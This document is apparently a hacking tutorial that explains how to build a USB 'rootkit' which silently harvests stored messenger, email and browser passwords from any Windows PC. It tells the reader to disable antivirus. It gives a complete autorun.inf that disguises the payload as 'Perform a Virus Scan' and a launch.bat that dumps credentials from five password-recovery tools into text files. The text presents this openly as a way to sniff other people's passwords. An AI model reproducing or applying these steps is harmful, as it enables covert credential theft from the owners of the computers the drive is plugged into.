As we all know, Windows stores most of the passwords which are used on a
daily basis, including instant messenger passwords such as MSN, Yahoo,
AOL, Windows messenger etc. Along with these, Windows also stores passwords of
Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many
browsers like IE and Firefox. There exists many tools for recovering these
passswords from their stored places. Using these tools and an USB pendrive
you can create your own rootkit to sniff passwords from any computer. We
need the following tools to create our rootkit.
MessenPass:
Recovers the passwords of most popular Instant Messenger programs: MSN
Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant
Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.
Mail
PassView: Recovers the passwords of the following email programs:
Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only),
Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail,
Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.
Mail PassView can also recover the passwords of Web-based email accounts
(HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.
IE Passview: IE PassView is a small utility that
reveals the passwords stored by Internet Explorer browser. It supports the new
Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 –
v6.0
Protected
Storage PassView: Recovers all passwords stored inside the
Protected Storage, including the AutoComplete passwords of Internet Explorer,
passwords of Password-protected sites, MSN Explorer Passwords, and more…
PasswordFox: PasswordFox is a small password
recovery tool that allows you to view the user names and passwords stored by
Mozilla Firefox Web browser. By default, PasswordFox displays the passwords
stored in your current profile, but you can easily select to watch the
passwords of any other Firefox profile. For each password entry, the following
information is displayed: Record Index, Web Site, User Name, Password, User
Name Field, Password Field, and the Signons filename.
Here is a step by step procedre to create the password hacking toolkit.
NOTE: You must temporarily disable your antivirus before following
these steps.
1. Download all the 5 tools, extract them
and copy only the executables(.exe files) into your USB
Pendrive.
ie: Copy the files – mspass.exe, mailpv.exe, iepv.exe, pspv.exe
andpasswordfox.exe into your USB Drive.
2. Create a new Notepad and write the
following text into it
[autorun]
open=launch.bat
ACTION= Perform a Virus Scan
save the Notepad and rename it
from
New Text Document.txt to autorun.inf
Now copy the autorun.inf file onto
your USB pendrive.
3. Create another Notepad and write the following text onto
it.
start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt
save the Notepad and rename it from
New Text Document.txt to launch.bat
Copy the launch.bat file also to your USB
drive.
Now your rootkit is ready and you are all set to sniff the passwords.
You can use this pendrive on on any computer to sniff the stored
passwords. Just follow these steps
1. Insert the pendrive and the autorun window will pop-up. (This is because,
we have created an autorun pendrive).
2. In the pop-up window, select the first option (Perform a Virus
Scan).
3. Now all the password recovery tools will silently get executed in
the background (This process takes hardly a few seconds). The passwords get
stored in the .TXT files.
4. Remove the pendrive and you’ll see the stored passwords in
the .TXT files.
This hack works on Windows 2000, XP and Vista
NOTE: This procedure will only recover the stored passwords (if any) on the
Computer.
